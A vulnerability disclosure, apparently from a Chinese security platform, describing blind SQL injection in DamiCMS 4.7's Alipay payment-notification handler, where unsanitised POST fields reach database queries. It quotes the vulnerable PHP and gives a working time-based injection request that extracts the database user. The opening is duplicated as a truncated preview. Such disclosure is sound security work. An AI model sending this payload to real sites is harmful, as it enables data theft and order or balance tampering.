### 简要描述: 大米CMS最新版4.7,SQL盲注 ### 详细说明: 大米CMS最新版4.7,SQL盲注,绕过防御 文件/Web/Lib/Action/PublicAction.class.php: ``` //在线充值或在线订单处理 function shouquan(){ $ap_path = (intval(C('AP_TYPE'))==1?'ap_jishi':'ap_danbao'); require_once("./Trade/{$ap_path}/alipay.config.php"); require_once("./Trade/{$ap_path}/lib/alipay_notify.class.php"); //计算得出通知验证结果 $alipayNotify = new AlipayNotify($alipay_config); $verify_result = $alipayNotify->verifyNotify(); //if($verify_result) {//验证成功 if(!$verify_result) {//假设这里验证成功 //商户订单号WIDout_trade_no $out_trade_no = $_POST['out_trade_no']; //支付宝交易号 $trade_no = $_POST['trade_no']; //交易状态 $trade_status = $_POST['trade_status']; $total_fee = $_POST['total_fee']; if($_POST['trade_status'] == 'WAIT_BUYER_PAY') { //该判断表示买家已在支付宝交易管理中产生了交易记录,但没有付款 //判断该笔订单是否在商户网站中已经做过处理 //如果没有做过处理,根据订单号(out_trade_no)在商户网站的订单系统中查到该笔订单的详细,并执行商户的业务程序 //如果有做过处理,不执行商户的业务程序 M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',0);...
### 简要描述: 大米CMS最新版4.7,SQL盲注 ### 详细说明: 大米CMS最新版4.7,SQL盲注,绕过防御 文件/Web/Lib/Action/PublicAction.class.php: ``` //在线充值或在线订单处理 function shouquan(){ $ap_path = (intval(C('AP_TYPE'))==1?'ap_jishi':'ap_danbao'); require_once("./Trade/{$ap_path}/alipay.config.php"); require_once("./Trade/{$ap_path}/lib/alipay_notify.class.php"); //计算得出通知验证结果 $alipayNotify = new AlipayNotify($alipay_config); $verify_result = $alipayNotify->verifyNotify(); //if($verify_result) {//验证成功 if(!$verify_result) {//假设这里验证成功 //商户订单号WIDout_trade_no $out_trade_no = $_POST['out_trade_no']; //支付宝交易号 $trade_no = $_POST['trade_no']; //交易状态 $trade_status = $_POST['trade_status']; $total_fee = $_POST['total_fee']; if($_POST['trade_status'] == 'WAIT_BUYER_PAY') { //该判断表示买家已在支付宝交易管理中产生了交易记录,但没有付款 //判断该笔订单是否在商户网站中已经做过处理 //如果没有做过处理,根据订单号(out_trade_no)在商户网站的订单系统中查到该笔订单的详细,并执行商户的业务程序 //如果有做过处理,不执行商户的业务程序 M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',0); logResult('等待买家付款!'); echo "success";//请不要修改或删除 } else if($_POST['trade_status'] == 'WAIT_SELLER_SEND_GOODS') { //该判断表示买家已在支付宝交易管理中产生了交易记录且付款成功,但卖家没有发货 //判断该笔订单是否在商户网站中已经做过处理 //如果没有做过处理,根据订单号(out_trade_no)在商户网站的订单系统中查到该笔订单的详细,并执行商户的业务程序 //如果有做过处理,不执行商户的业务程序 M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',1); logResult('已付款,等待发货!'); echo "success";//请不要修改或删除 //调试用,写文本函数记录程序运行情况是否正常 //logResult("这里写入想要调试的代码变量值,或其他运行的结果记录"); } else if($_POST['trade_status'] == 'WAIT_BUYER_CONFIRM_GOODS') { //该判断表示卖家已经发了货,但买家还没有做确认收货的操作 //判断该笔订单是否在商户网站中已经做过处理 //如果没有做过处理,根据订单号(out_trade_no)在商户网站的订单系统中查到该笔订单的详细,并执行商户的业务程序 //如果有做过处理,不执行商户的业务程序 M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',2); logResult('已发货,等待收货!'); echo "success";//请不要修改或删除 //调试用,写文本函数记录程序运行情况是否正常 //logResult("这里写入想要调试的代码变量值,或其他运行的结果记录"); } else if($_POST['trade_status'] == 'TRADE_FINISHED' || $_POST['trade_status'] == 'TRADE_SUCCESS') { M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',3); $trade_type = substr($out_trade_no,0,2); if($trade_type == "CZ"){ $arr = explode("-",$out_trade_no); if(count($arr)==2){ $uid = intval($arr[1]); if($uid>0){ M('member')->where('uid='.$uid)->setInc('money',$total_fee); //logResult(M('dami_common_member',null)->getLastSql().'<BR>'); $data['uid'] =$uid; $data['addtime'] = time(); $data['price'] =$total_fee; $data['trade_no'] = $out_trade_no; $data['remark'] = "用户充值"; $data['log_type'] = 0; M('money_log')->add($data); //logResult(M('money_log')->getLastSql().'<BR>'); } } } //退款退货相关 else if($_POST['refund_status'] == 'WAIT_SELLER_AGREE'){ M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',7); } else if($_POST['refund_status'] == 'WAIT_BUYER_RETURN_GOODS'){ M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',8); } else if($_POST['refund_status'] == 'REFUND_SUCCESS'){ M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',9); } else if($_POST['trade_status'] == 'TRADE_CLOSED'){ M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',10); } else{ logResult($out_trade_no.'<BR>'); } //该判断表示买家已经确认收货,这笔交易完成 //判断该笔订单是否在商户网站中已经做过处理 //如果没有做过处理,根据订单号(out_trade_no)在商户网站的订单系统中查到该笔订单的详细,并执行商户的业务程序 //如果有做过处理,不执行商户的业务程序 logResult('交易完成!'); echo "success";//请不要修改或删除 //调试用,写文本函数记录程序运行情况是否正常 //logResult("这里写入想要调试的代码变量值,或其他运行的结果记录"); } else { //其他状态判断 logResult('其他状态!'); echo "success"; //调试用,写文本函数记录程序运行情况是否正常 //logResult ("这里写入想要调试的代码变量值,或其他运行的结果记录"); } //——请根据您的业务逻辑来编写程序(以上代码仅作参考)—— ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// } else { //验证失败 logResult('验证失败<BR>'); echo "fail"; //调试用,写文本函数记录程序运行情况是否正常 //logResult("这里写入想要调试的代码变量值,或其他运行的结果记录"); } } ``` 先看这里: ``` $verify_result = $alipayNotify->verifyNotify(); ``` 这里的$verify_result就是在支付时进行验证的结果 正常情况下,使用这里的支付时,这里肯定是验证成功的 所以这里的$verify_result应该是返回True的 所以这里我们假设$verify_result=True 当验证成功后,进入到下面: ``` $out_trade_no = $_POST['out_trade_no']; //支付宝交易号 $trade_no = $_POST['trade_no']; //交易状态 $trade_status = $_POST['trade_status']; $total_fee = $_POST['total_fee']; if($_POST['trade_status'] == 'WAIT_BUYER_PAY') { M('member_trade')->where("out_trade_no='{$out_trade_no}' or group_trade_no='{$out_trade_no}'")->setField('status',0); logResult('等待买家付款!'); echo "success";//请不要修改或删除 } ``` POST的内容直接进入了where条件中 在where条件中,字符串是不做处理的,导致sql漏洞产生 继续下面的内容,同样产生大量的sql注入 ### 漏洞证明: 发送请求: ``` http://localhost/dami/index.php?s=/Public/shouquan.html out_trade_no=111' %26%26 CASE WHEN(mid((user()) from 1 for 1)=char(114)) THEN sleep(5) ELSE (0) END%23&trade_status=WAIT_BUYER_PAY ``` 这里会延时5秒返回: [<img src="https://images.seebug.org/upload/201412/20220417c2819ceaaf66b3394f41fa0efbd9a79a.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/20220417c2819ceaaf66b3394f41fa0efbd9a79a.png) 看看数据库执行记录: [<img src="https://images.seebug.org/upload/201412/20220425ee218e2dc46c8fd46b4362c932b8d7f0.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/20220425ee218e2dc46c8fd46b4362c932b8d7f0.png)